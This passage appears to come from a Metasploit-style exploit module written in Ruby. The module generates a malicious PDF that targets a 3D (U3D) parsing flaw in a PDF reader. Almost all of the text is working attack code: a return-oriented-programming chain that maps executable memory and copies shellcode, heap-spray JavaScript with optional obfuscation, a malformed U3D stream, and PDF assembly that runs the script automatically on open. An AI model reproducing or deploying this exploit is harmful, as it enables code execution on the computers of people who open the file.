			0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
			junk(4),
			0x00000000, # becomes edi
			0x00000002, # becomes esi
			0x00000102, # becomes ebp
			0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
			junk(5),
			0x4a80a8a6, # becomes edi
			0x4a801f90, # becomes esi
			0x4a849038, # becomes ebp
			0x4a8063a5, # pop ecx / ret
			junk(5),
			0x4a8a0000, # becomes ecx
			0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
			0x4a801f90, # pop eax / ret
			0x4a84903c, # becomes eax (import for CreateFileA)
			0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
			0x4a801064, # ret for CreateFileA # ret
			0x00000000, # __in      LPCTSTR lpFileName
			0x10000000, # __in      DWORD dwDesiredAccess
			0x00000000, # __in      DWORD dwShareMode
			0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes
			0x00000002, # __in      DWORD dwCreationDisposition
			0x00000102, # __in      DWORD dwFlagsAndAttributes
			0x00000000, # __in_opt  HANDLE hTemplateFile
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax, edi / ret
			0x4a802ab1, # pop ebx / ret
			0x00000008, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a801f90, # pop eax / ret
			0x4a849038, # becomes eax (import for CreateFileA)
			0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
			0x4a801064, # ret for CreateFileMappingA # ret
			0xffffffff, # __in      HANDLE hFile # mapped at 0c0c0ce0 =&#62; Stores Result of CreateFileA
			0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpAttributes,
			0x00000040, # __in      DWORD flProtect,
			0x00000000, # __in      DWORD dwMaximumSizeHigh,
			0x00010000, # __in      DWORD dwMaximumSizeLow,
			0x00000000, # __in_opt  LPCTSTR lpName
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax, edi / ret
			0x4a802ab1, # pop ebx / ret
			0x00000008, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a801f90, # pop eax / ret
			0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
			0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
			0x4a801064, # ret for MapViewOfFile # ret
			0xffffffff, # __in  HANDLE hFileMappingObject # mapped at 0x0c0c0d20 =&#62; {Result of FileMappingA}
			0x00000022, # __in  DWORD dwDesiredAccess
			0x00000000, # __in  DWORD dwFileOffsetHigh
			0x00000000, # __in  DWORD dwFileOffsetLow
			0x00010000, # __in  SIZE_T dwNumberOfBytesToMap
			0x4a8063a5, # pop ecx / ret
			0x4a8a0004, # becomes ecx
			0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax, edi / ret
			0x4a802ab1, # pop ebx / ret
			0x00000030, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a801f90, # pop eax / ret
			0x4a8a0004, # becomes eax {Result of MapViewOfFile}
			0x4a80a7d8, # mov eax,dword ptr [eax] / ret
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax, edi / ret
			0x4a802ab1, # pop ebx / ret
			0x00000020, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a8063a5, # pop ecx / ret
			0x4a801064, # becomes ecx
			0x4a80aedc, # lea edx,[esp+0Ch] (edx =&#62; 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] =&#62; 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 =&#62; ret) / add esp, 10h / ret
			0x4a801f90, # pop eax / ret
			0x00000034, # becomes eax # mapped at 0c0c0d8c
			0x4a80d585, # add eax, edx / ret (eax =&#62; 0c0c0dc8 =&#62; shellcode after ROP chain)
			0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
			0x4a801064, # becomes ecx
			0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
			0x4a802ab1, # pop ebx / ret
			0x0000000a, # becomes ebx
			0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
			0x4a801f90, # pop eax / ret
			0x4a849170, # becomes eax (import for MSVCR80!memcpy)
			0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
			0xffffffff, # ret for memcpy # mapped at 0c0c0db8 =&#62; Result of MapViewOfFile
			0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc =&#62; Result of MapViewOfFile
			0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 =&#62; Address of shellcode after ROP chain
			0x00001000  # length (memcpy param)
		].flatten.pack(&#39;V*&#39;)

		payload_buf = &#39;&#39;
		payload_buf &#60;&#60; stack_data
		payload_buf &#60;&#60; payload.encoded
		escaped_payload = Rex::Text.to_unescape(payload_buf)

		eip_ptr =
		[
			junk(3),
			target.ret, # EIP
			junk(7),
			0x0c0c0c0c, # [eax+3Ch] =&#62; becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef =&#62; stackpivot
			junk(16),
		].flatten.pack(&#39;V*&#39;)

		escaped_eip = Rex::Text.to_unescape(eip_ptr)

		js = &#60;&#60;-JS

		var padding;
		var bbb, ccc, ddd, eee, fff, ggg, hhh;
		var pointers_a, i;
		var x = new Array();
		var y = new Array();

		function alloc(bytes) {
			return padding.substr(0, (bytes - 6) / 2);
		}

		function spray_eip(esc_a) {
			pointers_a = unescape(esc_a);
			for (i = 0; i &#60; 2000; i++) {
				x[i] = alloc(0x8) + pointers_a;
				y[i] = alloc(0x88) + pointers_a;
				y[i] = alloc(0x88) + pointers_a;
				y[i] = alloc(0x88) + pointers_a;
			}
		};

		function spray_shellcode() {
			bbb = unescape(&#39;#{escaped_payload}&#39;);
			ccc = unescape(&#34;%u0c0c&#34;);
			ccc += ccc;

			while (ccc.length + 20 + 8 &#60; (0x8000 + 0x8000)) ccc += ccc;

			i1 = 0x0c0c - 0x24;
			ddd = ccc.substring(0, i1 / 2);

			ddd += bbb;
			ddd += ccc;

			i2 = 0x4000 + 0xc000;
			eee = ddd.substring(0, i2 / 2);

			for (; eee.length &#60; 0x40000 + 0x40000;) eee += eee;

			i3 = (0x1020 - 0x08) / 2;
			fff = eee.substring(0, 0x80000 - i3);

			ggg = new Array();

			for (hhh = 0; hhh &#60; 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + &#34;s&#34;;
		}

		padding = unescape(&#34;#{escaped_eip}&#34;);
		while (padding.length &#60; 0x10000)
		padding = padding + padding;

		spray_shellcode();
		spray_eip(&#39;%u4141&#39;);

		this.pageNum = 2;
		JS

		js = js.gsub(/^\t\t/,&#39;&#39;)

		if datastore[&#39;OBFUSCATE&#39;]
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		u3d = make_u3d_stream
		xml = make_xml_data
		pdf = make_pdf(u3d, xml, js.to_s)
		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file...&#34;)
		file_create(pdf)
	end

	def make_xml_data
		xml = %Q|&#60;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&#62;
		&#60;xdp:xdp xmlns:xdp=&#34;http://ns.adobe.com/xdp/&#34;&#62;
		&#60;ed&#62;kapa&#60;/ed&#62;
		&#60;config xmclns=&#34;http://www.microsoft.org/schema/xci/2.6/&#34;&#62;
		&#60;present&#62;
		&#60;pdf&#62;
		&#60;version&#62;1&#60;/version&#62;
		&#60;fjdklsajfodpsajfopjdsio&#62;f&#60;/fjdklsajfodpsajfopjdsio&#62;
		&#60;interactive&#62;1&#60;/interactive&#62;
		&#60;/pdf&#62;
		&#60;/present&#62;
		&#60;/config&#62;
		&#60;template xmdfaflns=&#34;http://www.microsoft.org/schema/xffdsa-template/2f/&#34;&#62;
		&#60;subform name=&#34;form1&#34; layout=&#34;tb&#34; locale=&#34;en_US&#34;&#62;
		&#60;pageSet&#62;
		&#60;/pageSet&#62;
		&#60;/subform&#62;
		&#60;/template&#62;
		&#60;template1 xmdfaflns=&#34;http://www.microsoft.org/schema/xffdsa-template/2f/&#34;&#62;
		&#60;subform name=&#34;form1&#34; layout=&#34;tb&#34; locale=&#34;en_US&#34;&#62;
		&#60;pageSet&#62;
		&#60;/pageSet&#62;
		&#60;/subform&#62;
		&#60;/template1&#62;
		&#60;template2 xmdfaflns=&#34;http://www.microsoft.org/schema/xffdsa-template/2f/&#34;&#62;
		&#60;subform name=&#34;form1&#34; layout=&#34;tb&#34; locale=&#34;en_US&#34;&#62;
		&#60;pageSet&#62;
		&#60;/pageSet&#62;
		&#60;/subform&#62;
		&#60;/template2&#62;
		&#60;/xdp:xdp&#62;|

		xml = xml.gsub(/^\t\t/, &#39;&#39;)
		return xml
	end

   def u3d_pad(str, char=&#34;\x00&#34;)
		len = str.length % 4
		if (len &#62; 0)
			#puts &#34;Adding %d pad bytes&#34; % (4 - len)
			return (char * (4 - len))
		end
		&#34;&#34;
	end

	def u3d_string(str)
		([str.length].pack(&#39;v&#39;) + str)
	end

	def make_u3d_stream()
		#
		# REFERENCE:
		# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
		# The File format consists of these blocks:
		# [File Header Block][Declaration Block][Continuation Block]
		# Each block consists of (padding is used to keep fields 32-bit aligned):
		# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
		#
		mc_name = u3d_string(&#34;CCCCBox01&#34;)
		mr_name = u3d_string(&#34;Box01RX&#34;)

		# build the U3D header (length will be patched in later)
		hdr_data = [0,0].pack(&#39;n*&#39;) # version info
		hdr_data &#60;&#60; [0,0x24,0xa34,0,0x6a].pack(&#39;VVVVV&#39;) # 31337 was 0xa34

		hdr = &#34;U3D\x00&#34;
		hdr &#60;&#60; [hdr_data.length,0].pack(&#39;VV&#39;)
		hdr &#60;&#60; hdr_data

		parent_node_data =
			&#34;\x01\x00\x00\x00&#34;+ # node count (1)
			&#34;\x00\x00&#34;+         # name (empty)
			# transform matrix
			[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack(&#39;N*&#39;)


		model_node_data = &#34;&#34;
		model_node_data &#60;&#60; mc_name
		model_node_data &#60;&#60; parent_node_data
		model_node_data &#60;&#60; mr_name
		model_node_data &#60;&#60; [1].pack(&#39;V&#39;) # Model Visibility (Front visible)
		model_node = [0xffffff22,model_node_data.length,0].pack(&#39;VVV&#39;)
		#model_node = [0xffffff22,0x5e,0].pack(&#39;VVV&#39;)
		model_node &#60;&#60; model_node_data

		bone_weight_data = &#34;&#34;
		bone_weight_data &#60;&#60; mc_name
		bone_weight_data &#60;&#60; [
			1,          # Chain index
			1,          # Bone Weight Attributes (for a mesh)
			0x3162123b, # Inverse Quant
			0x14,       # Position Count
		].pack(&#39;VVNV&#39;)
		# Position List
		bone_weight_data &#60;&#60; [
			# 1
			1,          # Bone Weight Count
			3,          # Bone Index (no Quantized Weight)
			# 2
			0x55550000, # Bone Weight Count
			0x4c1df36e, # Bone Index 
			0x0200d002, # Quantized Weight
			# 3
			0x95000074, # Bone Weight Count
			0x66ccc357, # Bone Index
			0x00000000  # Quantized Weight
		].pack(&#39;VVNNNNNN&#39;)
		bone_weight = [0xffffff44,0x3a,0].pack(&#39;VVV&#39;)
		# We hardcode the length to match the old file.. (TODO: test if necessary)
		#bone_weight = [0xffffff44,bone_weight_data.length,0].pack(&#39;VVV&#39;)
		bone_weight &#60;&#60; bone_weight_data

		new_objtype1_data = 
			&#34;\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a&#34;+
			&#34;\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00&#34;+
			&#34;\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00&#34;
		#new_objtype1 = [0xffffff16,0x38,0].pack(&#39;VVV&#39;)
		new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack(&#39;VVV&#39;)
		new_objtype1 &#60;&#60; new_objtype1_data

		shading_modifier_data = &#34;&#34;
		shading_modifier_data &#60;&#60; mc_name
		shading_modifier_data &#60;&#60;
			&#34;\x02\x00\x00\x00\x00\x00\x00\x00\x01&#34;+
			&#34;\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00&#34;
		#shading_modifier = [0xffffff45,0x23,0].pack(&#39;VVV&#39;)
		shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack(&#39;VVV&#39;)
		shading_modifier &#60;&#60; shading_modifier_data

		new_objtype2_data =
			&#34;\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2&#34;+
			&#34;\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00&#34;+
			&#34;\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00&#34;
		#new_objtype2 = [0xffffff16,0x30,0].pack(&#39;VVV&#39;)
		new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack(&#39;VVV&#39;)
		new_objtype2 &#60;&#60; new_objtype2_data

		nodemod_decl = &#34;&#34;
		nodemod_decl &#60;&#60; model_node
		nodemod_decl &#60;&#60; u3d_pad(nodemod_decl)
		nodemod_decl &#60;&#60; bone_weight
		nodemod_decl &#60;&#60; u3d_pad(nodemod_decl)
		nodemod_decl &#60;&#60; new_objtype1
		nodemod_decl &#60;&#60; u3d_pad(nodemod_decl)
		nodemod_decl &#60;&#60; shading_modifier
		nodemod_decl &#60;&#60; u3d_pad(nodemod_decl)
		nodemod_decl &#60;&#60; new_objtype2
		nodemod_decl &#60;&#60; u3d_pad(nodemod_decl)

		nodemod_decl &#60;&#60;
		# another modifier chain?
		&#34;\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00&#34;+
		&#34;\x00\x00&#34;+
		# clod mesh generator (declaration)
		&#34;\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52&#34;+
		&#34;\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c&#34;+
		&#34;\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d&#34;+
		&#34;\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61&#34;+
		&#34;\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75&#34;+
		&#34;\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06&#34;+
		&#34;\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00&#34;+
		# clod mesh generator (progressive mesh cont)
		&#34;\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00&#34;+
		&#34;\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01&#34;+
		&#34;\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02&#34;+
		&#34;\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00&#34;+
		&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1&#34;+
		&#34;\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c&#34;+
		&#34;\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80&#34;+
		&#34;\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06&#34;+
		&#34;\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80&#34;+
		&#34;\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0&#34;+
		&#34;\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62&#34;+
		&#34;\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe&#34;+
		&#34;\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79&#34;+
		&#34;\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1&#34;+
		&#34;\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e&#34;+
		&#34;\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3&#34;+
		&#34;\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00&#34;

		# build the modifier chain
		chain_data = &#34;&#34;
		chain_data &#60;&#60; mc_name
		chain_data &#60;&#60; [0].pack(&#39;V&#39;) # type (node modifier)
		chain_data &#60;&#60; [0].pack(&#39;V&#39;) # attributes (no bounding info)
		chain_data &#60;&#60; u3d_pad(chain_data)
		chain_data &#60;&#60; [0x5].pack(&#39;V&#39;) # number of modifiers
		chain_data &#60;&#60; nodemod_decl
		#modifier_chain = [0xffffff14,chain_data.length,0].pack(&#39;VVV&#39;) # chain_data was 0x17c bytes
		modifier_chain = [0xffffff14,0x17c,0].pack(&#39;VVV&#39;)
		modifier_chain &#60;&#60; chain_data

		data = &#34;&#34;
		data &#60;&#60; hdr
		data &#60;&#60; modifier_chain

		data
	end

	def RandomNonASCIIString(count)
		result = &#34;&#34;
		count.times do
			result &#60;&#60; (rand(128) + 128).chr
		end
		result
	end

	def ioDef(id)
		&#34;%d 0 obj\n&#34; % id
	end

	def ioRef(id)
		&#34;%d 0 R&#34; % id
	end

	def ASCIIHexWhitespaceEncode(str)
		result = &#34;&#34;
		whitespace = &#34;&#34;
		str.each_byte do |b|
			result &#60;&#60; whitespace &#60;&#60; &#34;%02x&#34; % b
			whitespace = &#34; &#34; * (rand(3) + 1)
		end
		result &#60;&#60; &#34;&#62;&#34;
	end

	def make_pdf(u3d_stream, xml, js_doc)
		xref = []
		eol = &#34;\x0a&#34;
		obj_end = &#34;&#34; &#60;&#60; eol &#60;&#60; &#34;endobj&#34; &#60;&#60; eol

		# the header
		pdf = &#34;%PDF-1.7&#34; &#60;&#60; eol

		# filename/comment
		pdf &#60;&#60; &#34;%&#34; &#60;&#60; RandomNonASCIIString(4) &#60;&#60; eol

		email = rand_text_alpha(3) + &#34;@&#34; + rand_text_alpha(4) + &#34;.com&#34;
		site  = rand_text_alpha(5) + &#34;.com&#34;
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(1)
		pdf &#60;&#60; &#34;&#60;&#60;/Author (Fo)/email (#{email})/web (site)&#62;&#62;&#34;
		pdf &#60;&#60; obj_end

		compressed_xml = Zlib::Deflate.deflate(xml)
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(2)
		pdf &#60;&#60; &#34;&#60;&#60;/Length &#34; &#60;&#60; compressed_xml.length.to_s &#60;&#60; &#34; /Filter /FlateDecode&#62;&#62;&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;stream&#34; &#60;&#60; eol
		pdf &#60;&#60; compressed_xml &#60;&#60; eol
		pdf &#60;&#60; &#34;endstream&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(3)
		pdf &#60;&#60; &#34;&#60;&#60;/XFA &#34; &#60;&#60; ioRef(2) &#60;&#60; &#34;&#62;&#62;&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(4)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/Catalog/Outlines &#34; &#60;&#60; ioRef(5)
		pdf &#60;&#60; &#34; /Pages &#34; &#60;&#60; ioRef(6)
		pdf &#60;&#60; &#34; /OpenAction &#34; &#60;&#60; ioRef(14)
		pdf &#60;&#60; &#34; /AcroForm &#34; &#60;&#60; ioRef(3)
		pdf &#60;&#60; &#34;&#62;&#62;&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(5) &#60;&#60; &#34;&#60;&#60;/Type/Outlines/Count 0&#62;&#62;&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(6)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/Pages/Count 3/Kids [%s %s %s]&#62;&#62;&#34; % [ioRef(13), ioRef(9), ioRef(12)]
		pdf &#60;&#60; obj_end

		data = &#34;\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5&#34;
		compressed_data = Zlib::Deflate.deflate(data)
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(7)
		pdf &#60;&#60; &#34;&#60;&#60;/Length %s /Filter /FlateDecode&#62;&#62;&#34; %compressed_data.length.to_s &#60;&#60; eol
		pdf &#60;&#60; &#34;stream&#34; &#60;&#60; eol
		pdf &#60;&#60; compressed_data &#60;&#60; eol
		pdf &#60;&#60; &#34;endstream&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(8)
		pdf &#60;&#60; &#34;&#60;&#60;/ProcSet [/PDF]&#62;&#62;&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(9)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s&#62;&#62;&#34; % [ioRef(6), ioRef(7), ioRef(8)]
		pdf &#60;&#60; obj_end

		compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(10)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode&#62;&#62;&#34; %compressed_u3d.length.to_s &#60;&#60; eol
		pdf &#60;&#60; &#34;stream&#34; &#60;&#60; eol
		pdf &#60;&#60; compressed_u3d &#60;&#60; eol
		pdf &#60;&#60; &#34;endstream&#34;
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(11)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA &#60;&#60;/A/PO/DIS/I&#62;&#62;&#34;
		pdf &#60;&#60; &#34;/Rect [0 0 640 480]/3DD %s /F 7&#62;&#62;&#34; %ioRef(10)
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(12)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]&#62;&#62;&#34; % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)]
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(13)
		pdf &#60;&#60; &#34;&#60;&#60;/Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s&#62;&#62;&#34; % [ioRef(6), ioRef(7), ioRef(8)]
		pdf &#60;&#60; obj_end

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(14)
		pdf &#60;&#60; &#34;&#60;&#60;/S/JavaScript/JS %s&#62;&#62;&#34; %ioRef(15)
		pdf &#60;&#60; obj_end

		compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(15)
		pdf &#60;&#60; &#34;&#60;&#60;/Length &#34; &#60;&#60;  compressed_js.length.to_s &#60;&#60; &#34; /Filter [/FlateDecode/ASCIIHexDecode]&#62;&#62;&#34;
		pdf &#60;&#60; &#34;stream&#34; &#60;&#60; eol
		pdf &#60;&#60; compressed_js &#60;&#60; eol
		pdf &#60;&#60; &#34;endstream&#34;
		pdf &#60;&#60; obj_end

		# xrefs
		xrefPosition = pdf.length
		pdf &#60;&#60; &#34;xref&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;0 %d&#34; % (xref.length + 1) &#60;&#60; eol
		pdf &#60;&#60; &#34;0000000000 65535 f&#34; &#60;&#60; eol
		xref.each do |index|
			pdf &#60;&#60; &#34;%010d 00000 n&#34; % index &#60;&#60; eol
		end

		# trailer
